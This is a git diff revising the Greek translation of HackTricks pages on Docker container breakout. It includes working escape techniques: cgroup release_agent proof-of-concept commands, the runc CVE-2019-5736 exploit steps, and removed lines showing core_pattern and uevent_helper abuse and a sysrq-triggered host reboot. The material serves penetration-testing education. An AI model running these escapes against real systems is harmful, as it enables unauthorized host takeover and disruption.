Εκμετάλλευση Προνομιακής Διαφυγής μέσω της δημιουργίας release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 +#### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 ```bash:Second PoC # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -312,7 +312,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ``` #### Εκμετάλλευση Προνομιακής Διαφυγής μέσω Ευαίσθητων Μοντάρων -Υπάρχουν αρκετά αρχεία που μπορεί να είναι μονταρισμένα και να δίνουν **πληροφορίες για τον υποκείμενο host**. Ορισμένα από αυτά μπορεί να υποδεικνύουν **κάτι που θα εκτελείται από τον host όταν συμβεί κάτι** (το οποίο θα επιτρέψει σε έναν επιτιθέμενο να διαφύγει από το κοντέινερ).\ +Υπάρχουν αρκετά αρχεία που μπορεί να είναι μονταρισμένα και να δίνουν **πληροφορίες για τον υποκείμενο host**. Ορισμένα από αυτά μπορεί ακόμη να υποδεικνύουν **κάτι που θα εκτελείται από τον host όταν συμβεί κάτι** (το οποίο θα επιτρέψει σε έναν επιτιθέμενο να διαφύγει από το κοντέινερ).\ Η εκμετάλλευση αυτών των αρχείων μπορεί να επιτρέψει: - release_agent (έχει καλυφθεί ήδη) @@ -423,46 +423,46 @@ cat /proc/635813/fd/4 ``` docker run --rm -it --network=host ubuntu bash ``` -Αν ένα κοντέινερ έχει ρυθμιστεί με τον Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), το δίκτυο του κοντέινερ δεν είναι απομονωμένο από τον Docker host (το κοντέινερ μοιράζεται το namespace δικτύωσης του host) και το κοντέινερ δεν αποκτά τη δική του διεύθυνση IP. Με άλλα λόγια, το **κοντέινερ δένει όλες τις υπηρεσίες απευθείας στη διεύθυνση IP του host**. Επιπλέον, το κοντέινερ μπορεί να **παρακολουθεί ΟΛΗ την κυκλοφορία δικτύου που στέλνει και λαμβάνει ο host** στην κοινή διεπαφή `tcpdump -i eth0`. +Αν ένα κοντέινερ έχει ρυθμιστεί με τον Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), το δίκτυο του κοντέινερ δεν είναι απομονωμένο από τον Docker host (το κοντέινερ μοιράζεται το namespace δικτύου του host) και το κοντέινερ δεν αποκτά τη δική του διεύθυνση IP. Με άλλα λόγια, το **κοντέινερ δένει όλες τις υπηρεσίες απευθείας στη διεύθυνση IP του host**. Επιπλέον, το κοντέινερ μπορεί να **παρακολουθεί ΟΛΗ την κυκλοφορία δικτύου που στέλνει και λαμβάνει ο host** στην κοινή διεπαφή `tcpdump -i eth0`. -Για παράδειγμα, μπορείτε να το χρησιμοποιήσετε για να **παρακολουθήσετε και ακόμη και να παραποιήσετε την κυκλοφορία** μεταξύ του host και της μεταδεδομένων. +Για παράδειγμα, μπορείτε να το χρησιμοποιήσετε για να **παρακολουθήσετε και ακόμη και να παραποιήσετε την κυκλοφορία** μεταξύ του host και της μεταδεδομένης παρουσίας. Όπως στα παρακάτω παραδείγματα: - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) -Θα μπορείτε επίσης να έχετε πρόσβαση σε **υπηρεσίες δικτύου που είναι δεσμευμένες στο localhost** μέσα στον host ή ακόμη και να έχετε πρόσβαση στις **άδειες μεταδεδομένων του κόμβου** (οι οποίες μπορεί να είναι διαφορετικές από αυτές που μπορεί να έχει πρόσβαση ένα κοντέινερ). +Θα μπορείτε επίσης να έχετε πρόσβαση σε **υπηρεσίες δικτύου που είναι δεμένες με το localhost** μέσα στον host ή ακόμη και να έχετε πρόσβαση στις **άδειες μεταδεδομένων του κόμβου** (οι οποίες μπορεί να είναι διαφορετικές από αυτές που μπορεί να έχει πρόσβαση ένα κοντέινερ). ### hostIPC ```bash docker run --rm -it --ipc=host ubuntu bash ``` -Με το `hostIPC=true`, αποκτάτε πρόσβαση στους πόρους επικοινωνίας διεργασιών (IPC) του host, όπως η **κοινή μνήμη** στο `/dev/shm`. Αυτό επιτρέπει την ανάγνωση/εγγραφή όπου οι ίδιοι πόροι IPC χρησιμοποιούνται από άλλες διεργασίες host ή pod. Χρησιμοποιήστε το `ipcs` για να εξετάσετε περαιτέρω αυτούς τους μηχανισμούς IPC. +Με το `hostIPC=true`, αποκτάτε πρόσβαση στους πόρους επικοινωνίας διεργασιών (IPC) του κεντρικού υπολογιστή, όπως η **κοινή μνήμη** στο `/dev/shm`. Αυτό επιτρέπει την ανάγνωση/εγγραφή όπου οι ίδιοι πόροι IPC χρησιμοποιούνται από άλλες διεργασίες του κεντρικού υπολογιστή ή του pod. Χρησιμοποιήστε το `ipcs` για να εξετάσετε περαιτέρω αυτούς τους μηχανισμούς IPC. - **Εξετάστε το /dev/shm** - Αναζητήστε οποιαδήποτε αρχεία σε αυτήν την τοποθεσία κοινής μνήμης: `ls -la /dev/shm` - **Εξετάστε τις υπάρχουσες εγκαταστάσεις IPC** – Μπορείτε να ελέγξετε αν χρησιμοποιούνται κάποιες εγκαταστάσεις IPC με το `/usr/bin/ipcs`. Ελέγξτε το με: `ipcs -a` -### Ανάκτηση δυνατοτήτων +### Ανάκτηση ικανοτήτων -Εάν η syscall **`unshare`** δεν απαγορεύεται, μπορείτε να ανακτήσετε όλες τις δυνατότητες εκτελώντας: +Εάν η syscall **`unshare`** δεν απαγορεύεται, μπορείτε να ανακτήσετε όλες τις ικανότητες εκτελώντας: ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` -### Κατάχρηση του χώρου ονομάτων χρήστη μέσω symlink +### Κατάχρηση του user namespace μέσω symlink -Η δεύτερη τεχνική που εξηγείται στην ανάρτηση [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) υποδεικνύει πώς μπορείτε να καταχραστείτε τις δεσμευμένες τοποθεσίες με χώρους ονομάτων χρήστη, για να επηρεάσετε αρχεία μέσα στον οικοδεσπότη (σε αυτή την συγκεκριμένη περίπτωση, να διαγράψετε αρχεία). +Η δεύτερη τεχνική που εξηγείται στην ανάρτηση [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) υποδεικνύει πώς μπορείτε να καταχραστείτε τις bind mounts με user namespaces, για να επηρεάσετε αρχεία μέσα στον host (σε αυτή την συγκεκριμένη περίπτωση, να διαγράψετε αρχεία). ## CVEs -### Εκμετάλλευση Runc (CVE-2019-5736) +### Runc exploit (CVE-2019-5736) -Σε περίπτωση που μπορείτε να εκτελέσετε `docker exec` ως root (πιθανώς με sudo), προσπαθήστε να κλιμακώσετε τα δικαιώματα σας διαφεύγοντας από ένα κοντέινερ καταχρώντας το CVE-2019-5736 (εκμετάλλευση [εδώ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Αυτή η τεχνική θα **επικαλύψει** το _**/bin/sh**_ δυαδικό αρχείο του **οικοδεσπότη** **από ένα κοντέινερ**, έτσι ώστε οποιοσδήποτε εκτελεί docker exec μπορεί να ενεργοποιήσει το payload. +Σε περίπτωση που μπορείτε να εκτελέσετε `docker exec` ως root (πιθανώς με sudo), προσπαθείτε να κλιμακώσετε τα δικαιώματα σας διαφεύγοντας από ένα container καταχρώντας το CVE-2019-5736 (exploit [εδώ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Αυτή η τεχνική θα **επικαλύψει** το _**/bin/sh**_ δυαδικό αρχείο του **host** **από ένα container**, έτσι ώστε οποιοσδήποτε εκτελεί docker exec να μπορεί να ενεργοποιήσει το payload. -Αλλάξτε το payload αναλόγως και κατασκευάστε το main.go με `go build main.go`. Το προκύπτον δυαδικό αρχείο θα πρέπει να τοποθετηθεί στο κοντέινερ docker για εκτέλεση.\ -Κατά την εκτέλεση, μόλις εμφανιστεί το `[+] Overwritten /bin/sh successfully` πρέπει να εκτελέσετε το εξής από τη μηχανή του οικοδεσπότη: +Αλλάξτε το payload αναλόγως και κατασκευάστε το main.go με `go build main.go`. Το προκύπτον δυαδικό αρχείο θα πρέπει να τοποθετηθεί στο docker container για εκτέλεση.\ +Κατά την εκτέλεση, μόλις εμφανιστεί το `[+] Overwritten /bin/sh successfully` πρέπει να εκτελέσετε το εξής από τη μηχανή host: `docker exec -it /bin/sh` @@ -471,7 +471,7 @@ cat /proc/self/status | grep CapEff Για περισσότερες πληροφορίες: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) > [!NOTE] -> Υπάρχουν άλλες CVEs στις οποίες το κοντέινερ μπορεί να είναι ευάλωτο, μπορείτε να βρείτε μια λίστα στο [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) +> Υπάρχουν άλλες CVEs στις οποίες το container μπορεί να είναι ευάλωτο, μπορείτε να βρείτε μια λίστα στο [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) ## Docker Custom Escape diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 4156c0cf0..3114ccfcd 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -12,7 +12,7 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` -Η απόδειξη της έννοιας (PoC) δείχνει μια μέθοδο εκμετάλλευσης των cgroups δημιουργώντας ένα αρχείο `release_agent` και ενεργοποιώντας την εκτέλεσή του για να εκτελέσει αυθαίρετες εντολές στον οικοδεσπότη του κοντέινερ. Ακολουθεί μια ανάλυση των βημάτων που εμπλέκονται: +Η απόδειξη της έννοιας (PoC) δείχνει μια μέθοδο για την εκμετάλλευση των cgroups δημιουργώντας ένα αρχείο `release_agent` και ενεργοποιώντας την εκτέλεσή του για να εκτελέσει αυθαίρετες εντολές στον οικοδεσπότη του κοντέινερ. Ακολουθεί μια ανάλυση των βημάτων που εμπλέκονται: 1. **Προετοιμάστε το Περιβάλλον:** - Δημιουργείται ένας φάκελος `/tmp/cgrp` για να χρησιμεύσει ως σημείο προσάρτησης για το cgroup. @@ -33,16 +33,16 @@ echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` -4. **Δημιουργία και Ρύθμιση του /cmd Script:** -- Το /cmd script δημιουργείται μέσα στο κοντέινερ και ρυθμίζεται να εκτελεί ps aux, ανακατευθύνοντας την έξοδο σε ένα αρχείο με όνομα /output στο κοντέινερ. Η πλήρης διαδρομή του /output στον κεντρικό υπολογιστή καθορίζεται. +4. **Δημιουργία και Ρύθμιση του Script /cmd:** +- Το script /cmd δημιουργείται μέσα στο κοντέινερ και ρυθμίζεται να εκτελεί ps aux, ανακατευθύνοντας την έξοδο σε ένα αρχείο με όνομα /output στο κοντέινερ. Η πλήρης διαδρομή του /output στον κεντρικό υπολογιστή καθορίζεται. ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` 5. **Ενεργοποίηση της Επίθεσης:** -- Μια διαδικασία ξεκινά μέσα στο "x" παιδικό cgroup και τερματίζεται αμέσως. -- Αυτό ενεργοποιεί τον `release_agent` (το σενάριο /cmd), το οποίο εκτελεί ps aux στον κεντρικό υπολογιστή και γράφει την έξοδο στο /output μέσα στο κοντέινερ. +- Μια διαδικασία ξεκινά μέσα στο "x" child cgroup και τερματίζεται αμέσως. +- Αυτό ενεργοποιεί τον `release_agent` (το σενάριο /cmd), το οποίο εκτελεί ps aux στον host και γράφει την έξοδο στο /output μέσα στο container. ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index e46f01559..9a335abaa 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -Η έκθεση των `/proc` και `/sys` χωρίς κατάλληλη απομόνωση ονομάτων εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι φάκελοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελάζονται από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία AppArmor λόγω της φύσης της βασισμένης σε διαδρομές, αφήνοντας το `/host/proc` απροστάτευτο. +Η έκθεση των `/proc` και `/sys` χωρίς κατάλληλη απομόνωση ονομάτων εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι φάκελοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελάζονται από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που διευκολύνουν περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία AppArmor λόγω της φύσης της βασισμένης σε διαδρομές, αφήνοντας το `/host/proc` απροστάτευτο. **Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε πιθανή ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** @@ -14,161 +14,4 @@ #### **`/proc/sys/kernel/core_pattern`** -- Περιγράφεται στο [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -- Επιτρέπει τον καθορισμό ενός προγράμματος που θα εκτελείται κατά την παραγωγή core-file με τα πρώτα 128 bytes ως παραμέτρους. Αυτό μπορεί να οδηγήσει σε εκτέλεση κώδικα αν το αρχείο αρχίζει με έναν σωλήνα `|`. -- **Παράδειγμα Δοκιμής και Εκμετάλλευσης**: - -```bash -[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Δοκιμή πρόσβασης εγγραφής -cd /proc/sys/kernel -echo "|$overlay/shell.sh" > core_pattern # Ορισμός προσαρμοσμένου χειριστή -sleep 5 && ./crash & # Ενεργοποίηση χειριστή -``` - -#### **`/proc/sys/kernel/modprobe`** - -- Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Περιέχει τη διαδρομή προς τον φορτωτή μονάδων του πυρήνα, που καλείται για τη φόρτωση μονάδων πυρήνα. -- **Παράδειγμα Ελέγχου Πρόσβασης**: - -```bash -ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στο modprobe -``` - -#### **`/proc/sys/vm/panic_on_oom`** - -- Αναφέρεται στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Μια παγκόσμια σημαία που ελέγχει αν ο πυρήνας πανικοβάλλεται ή καλεί τον OOM killer όταν συμβαίνει μια κατάσταση OOM. - -#### **`/proc/sys/fs`** - -- Σύμφωνα με το [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), περιέχει επιλογές και πληροφορίες σχετικά με το σύστημα αρχείων. -- Η πρόσβαση εγγραφής μπορεί να επιτρέψει διάφορες επιθέσεις άρνησης υπηρεσίας κατά του κεντρικού υπολογιστή. - -#### **`/proc/sys/fs/binfmt_misc`** - -- Επιτρέπει την καταχώριση διερμηνέων για μη εγγενείς δυαδικές μορφές με βάση τον μαγικό τους αριθμό. -- Μπορεί να οδηγήσει σε εκμετάλλευση δικαιωμάτων ή πρόσβαση σε root shell αν το `/proc/sys/fs/binfmt_misc/register` είναι εγγράψιμο. -- Σχετική εκμετάλλευση και εξήγηση: -- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) -- Σε βάθος οδηγός: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) - -### Άλλες στο `/proc` - -#### **`/proc/config.gz`** - -- Μπορεί να αποκαλύψει τη διαμόρφωση του πυρήνα αν είναι ενεργοποιημένο το `CONFIG_IKCONFIG_PROC`. -- Χρήσιμο για επιτιθέμενους για την αναγνώριση ευπαθειών στον τρέχοντα πυρήνα. - -#### **`/proc/sysrq-trigger`** - -- Επιτρέπει την εκτέλεση Sysrq εντολών, προκαλώντας πιθανώς άμεσες επανεκκινήσεις του συστήματος ή άλλες κρίσιμες ενέργειες. -- **Παράδειγμα Επανεκκίνησης Κεντρικού Υπολογιστή**: - -```bash -echo b > /proc/sysrq-trigger # Επανεκκινεί τον κεντρικό υπολογιστή -``` - -#### **`/proc/kmsg`** - -- Εκθέτει μηνύματα του δακτυλίου του πυρήνα. -- Μπορεί να βοηθήσει σε εκμεταλλεύσεις πυρήνα, διαρροές διευθύνσεων και να παρέχει ευαίσθητες πληροφορίες συστήματος. - -#### **`/proc/kallsyms`** - -- Λίστα συμβόλων που εξάγονται από τον πυρήνα και τις διευθύνσεις τους. -- Απαραίτητο για την ανάπτυξη εκμεταλλεύσεων πυρήνα, ειδικά για την υπέρβαση του KASLR. -- Οι πληροφορίες διευθύνσεων περιορίζονται με το `kptr_restrict` ρυθμισμένο σε `1` ή `2`. -- Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). - -#### **`/proc/[pid]/mem`** - -- Διασύνδεση με τη συσκευή μνήμης του πυρήνα `/dev/mem`. -- Ιστορικά ευάλωτο σε επιθέσεις εκμετάλλευσης δικαιωμάτων. -- Περισσότερα στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). - -#### **`/proc/kcore`** - -- Αντιπροσωπεύει τη φυσική μνήμη του συστήματος σε μορφή ELF core. -- Η ανάγνωση μπορεί να διαρρεύσει περιεχόμενα μνήμης του κεντρικού υπολογιστή και άλλων κοντέινερ. -- Το μεγάλο μέγεθος αρχείου μπορεί να οδηγήσει σε προβλήματα ανάγνωσης ή κρασάρισμα λογισμικού. -- Λεπτομερής χρήση στο [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). - -#### **`/proc/kmem`** - -- Εναλλακτική διασύνδεση για το `/dev/kmem`, που αντιπροσωπεύει την εικονική μνήμη του πυρήνα. -- Επιτρέπει την ανάγνωση και εγγραφή, επομένως άμεση τροποποίηση της μνήμης του πυρήνα. - -#### **`/proc/mem`** - -- Εναλλακτική διασύνδεση για το `/dev/mem`, που αντιπροσωπεύει τη φυσική μνήμη. -- Επιτρέπει την ανάγνωση και εγγραφή, η τροποποίηση όλης της μνήμης απαιτεί την επίλυση εικονικών σε φυσικές διευθύνσεις. - -#### **`/proc/sched_debug`** - -- Επιστρέφει πληροφορίες προγραμματισμού διεργασιών, παρακάμπτοντας τις προστασίες του PID namespace. -- Εκθέτει ονόματα διεργασιών, IDs και αναγνωριστικά cgroup. - -#### **`/proc/[pid]/mountinfo`** - -- Παρέχει πληροφορίες σχετικά με τα σημεία τοποθέτησης στο namespace τοποθέτησης της διεργασίας. -- Εκθέτει τη θέση του `rootfs` ή της εικόνας του κοντέινερ. - -### Ευπάθειες `/sys` - -#### **`/sys/kernel/uevent_helper`** - -- Χρησιμοποιείται για την επεξεργασία `uevents` συσκευών πυρήνα. -- Η εγγραφή στο `/sys/kernel/uevent_helper` μπορεί να εκτελέσει αυθαίρετα σενάρια κατά την ενεργοποίηση `uevent`. -- **Παράδειγμα Εκμετάλλευσης**: %%%bash - -#### Δημιουργεί ένα payload - -echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper - -#### Βρίσκει τη διαδρομή του κεντρικού υπολογιστή από το OverlayFS mount για το κοντέινερ - -host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) - -#### Ορίζει το uevent_helper σε κακόβουλο helper - -echo "$host_path/evil-helper" > /sys/kernel/uevent_helper - -#### Ενεργοποιεί ένα uevent - -echo change > /sys/class/mem/null/uevent - -#### Διαβάζει την έξοδο - -cat /output %%% - -#### **`/sys/class/thermal`** - -- Ελέγχει τις ρυθμίσεις θερμοκρασίας, προκαλώντας πιθανώς επιθέσεις DoS ή φυσική ζημιά. - -#### **`/sys/kernel/vmcoreinfo`** - -- Διαρρέει διευθύνσεις πυρήνα, πιθανώς υπονομεύοντας το KASLR. - -#### **`/sys/kernel/security`** - -- Στεγάζει τη διεπαφή `securityfs`, επιτρέποντας τη ρύθμιση των Linux Security Modules όπως το AppArmor. -- Η πρόσβαση μπορεί να επιτρέψει σε ένα κοντέινερ να απενεργοποιήσει το σύστημα MAC του. - -#### **`/sys/firmware/efi/vars` και `/sys/firmware/efi/efivars`** - -- Εκθέτει διεπαφές για την αλληλεπίδραση με τις μεταβλητές EFI στο NVRAM. -- Η κακή ρύθμιση ή η εκμετάλλευση μπορεί να οδηγήσει σε κατεστραμμένα laptops ή μηχανές κεντρικού υπολογιστή που δεν εκκινούν. - -#### **`/sys/kernel/debug`** - -- Το `debugfs` προσφέρει μια διεπαφή αποσφαλμάτωσης "χωρίς κανόνες" στον πυρήνα. -- Ιστορικό προβλημάτων ασφαλείας λόγω της απεριόριστης φύσης του. - -### Αναφορές - -- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) -- [Κατανόηση και Σκληραγώγηση των Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf) -- [Κατάχρηση Προνομιακών και Μη Προνομιακών Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf) - -{{#include ../../../../banners/hacktricks-training.md}} +- Περι diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index f0966a085..2c38744be 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -8,7 +8,7 @@ ### Mount /dev -Σε ένα privileged κοντέινερ, όλες οι ** συσκευές είναι προσβάσιμες στο `/dev/`**. Επομένως, μπορείτε να **escape** με το **mounting** του δίσκου του host. +Σε ένα privileged κοντέινερ, όλες οι **συσκευές μπορούν να προσπελαστούν στο `/dev/`**. Επομένως, μπορείτε να **ξεφύγετε** με το **mounting** του δίσκου του host. {{#tabs}} {{#tab name="Inside default container"}} @@ -57,9 +57,9 @@ mount | grep '(ro' {{#endtab}} {{#endtabs}} -### Απόκρυψη πάνω από τα συστήματα αρχείων πυρήνα +### Απόκρυψη πάνω από τα συστήματα αρχείων του πυρήνα -Το **/proc** σύστημα αρχείων είναι επιλεκτικά εγγράψιμο, αλλά για λόγους ασφαλείας, ορισμένα μέρη είναι προστατευμένα από πρόσβαση εγγραφής και ανάγνωσης, επικαλύπτοντάς τα με **tmpfs**, διασφαλίζοντας ότι οι διαδικασίες κοντέινερ δεν μπορούν να έχουν πρόσβαση σε ευαίσθητες περιοχές. +Το **/proc** σύστημα αρχείων είναι επιλεκτικά εγγράψιμο, αλλά για λόγους ασφαλείας, ορισμένα μέρη είναι προστατευμένα από πρόσβαση εγγραφής και ανάγνωσης, επικαλύπτοντάς τα με **tmpfs**, διασφαλίζοντας ότι οι διαδικασίες του κοντέινερ δεν μπορούν να έχουν πρόσβαση σε ευαίσθητες περιοχές. > [!NOTE] > **tmpfs** είναι ένα σύστημα αρχείων που αποθηκεύει όλα τα αρχεία στη εικονική μνήμη. Το tmpfs δεν δημιουργεί κανένα αρχείο στον σκληρό σας δίσκο. Έτσι, αν αποσυνδέσετε ένα σύστημα αρχείων tmpfs, όλα τα αρχεία που βρίσκονται σε αυτό χάνονται για πάντα. @@ -114,11 +114,11 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset {{#endtab}} {{#endtabs}} -Μπορείτε να χειριστείτε τις δυνατότητες που είναι διαθέσιμες σε ένα κοντέινερ χωρίς να τρέχετε σε λειτουργία `--privileged` χρησιμοποιώντας τις σημαίες `--cap-add` και `--cap-drop`. +Μπορείτε να χειριστείτε τις δυνατότητες που είναι διαθέσιμες σε ένα κοντέινερ χωρίς να τρέχετε σε `--privileged` λειτουργία χρησιμοποιώντας τις σημαίες `--cap-add` και `--cap-drop`. ### Seccomp -**Seccomp** είναι χρήσιμο για να **περιορίσει** τις **syscalls** που μπορεί να καλέσει ένα κοντέινερ. Ένα προεπιλεγμένο προφίλ seccomp είναι ενεργοποιημένο από προεπιλογή όταν τρέχουν κοντέινερ docker, αλλά σε λειτουργία privileged είναι απενεργοποιημένο. Μάθετε περισσότερα για το Seccomp εδώ: +**Seccomp** είναι χρήσιμο για να **περιορίσει** τις **syscalls** που μπορεί να καλέσει ένα κοντέινερ. Ένα προεπιλεγμένο προφίλ seccomp είναι ενεργοποιημένο από προεπιλογή όταν τρέχουν κοντέινερ docker, αλλά σε privileged mode είναι απενεργοποιημένο. Μάθετε περισσότερα για το Seccomp εδώ: {{#ref}} seccomp.md @@ -147,11 +147,11 @@ Seccomp_filters: 0 # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` -Επίσης, σημειώστε ότι όταν χρησιμοποιούνται οι Docker (ή άλλες CRIs) σε ένα **Kubernetes** cluster, το **seccomp filter είναι απενεργοποιημένο από προεπιλογή** +Επίσης, σημειώστε ότι όταν χρησιμοποιούνται Docker (ή άλλες CRIs) σε ένα **Kubernetes** cluster, το **seccomp filter είναι απενεργοποιημένο από προεπιλογή** ### AppArmor -**AppArmor** είναι μια βελτίωση του πυρήνα για να περιορίσει τα **containers** σε ένα **περιορισμένο** σύνολο **πόρων** με **προφίλ ανά πρόγραμμα**. Όταν εκτελείτε με την επιλογή `--privileged`, αυτή η προστασία είναι απενεργοποιημένη. +**AppArmor** είναι μια βελτίωση του πυρήνα για να περιορίσει **containers** σε ένα **περιορισμένο** σύνολο **πόρων** με **προφίλ ανά πρόγραμμα**. Όταν εκτελείτε με την επιλογή `--privileged`, αυτή η προστασία είναι απενεργοποιημένη. {{#ref}} apparmor.md @@ -162,7 +162,7 @@ apparmor.md ``` ### SELinux -Η εκτέλεση ενός κοντέινερ με την επιλογή `--privileged` απενεργοποιεί τις **ετικέτες SELinux**, προκαλώντας να κληρονομήσει την ετικέτα της μηχανής κοντέινερ, συνήθως `unconfined`, παρέχοντας πλήρη πρόσβαση παρόμοια με αυτή της μηχανής κοντέινερ. Σε λειτουργία χωρίς δικαιώματα root, χρησιμοποιεί `container_runtime_t`, ενώ σε λειτουργία root, εφαρμόζεται το `spc_t`. +Η εκτέλεση ενός κοντέινερ με την επιλογή `--privileged` απενεργοποιεί τις **ετικέτες SELinux**, κάνοντάς το να κληρονομεί την ετικέτα της μηχανής κοντέινερ, συνήθως `unconfined`, παρέχοντας πλήρη πρόσβαση παρόμοια με αυτή της μηχανής κοντέινερ. Σε λειτουργία χωρίς δικαιώματα root, χρησιμοποιεί `container_runtime_t`, ενώ σε λειτουργία με δικαιώματα root, εφαρμόζεται το `spc_t`. {{#ref}} ../selinux.md @@ -175,7 +175,7 @@ apparmor.md ### Namespaces -Τα Namespaces **ΔΕΝ επηρεάζονται** από την επιλογή `--privileged`. Αν και δεν έχουν ενεργοποιημένους τους περιορισμούς ασφαλείας, **δεν βλέπουν όλες τις διεργασίες στο σύστημα ή το δίκτυο του host, για παράδειγμα**. Οι χρήστες μπορούν να απενεργοποιήσουν μεμονωμένα namespaces χρησιμοποιώντας τις επιλογές **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** των μηχανών κοντέινερ. +Τα Namespaces **ΔΕΝ επηρεάζονται** από την επιλογή `--privileged`. Ακόμα και αν δεν έχουν ενεργοποιηθεί οι περιορισμοί ασφαλείας, **δεν βλέπουν όλες τις διεργασίες στο σύστημα ή το δίκτυο του host, για παράδειγμα**. Οι χρήστες μπορούν να απενεργοποιήσουν μεμονωμένα namespaces χρησιμοποιώντας τις επιλογές **`--pid=host`, `--net=host`, 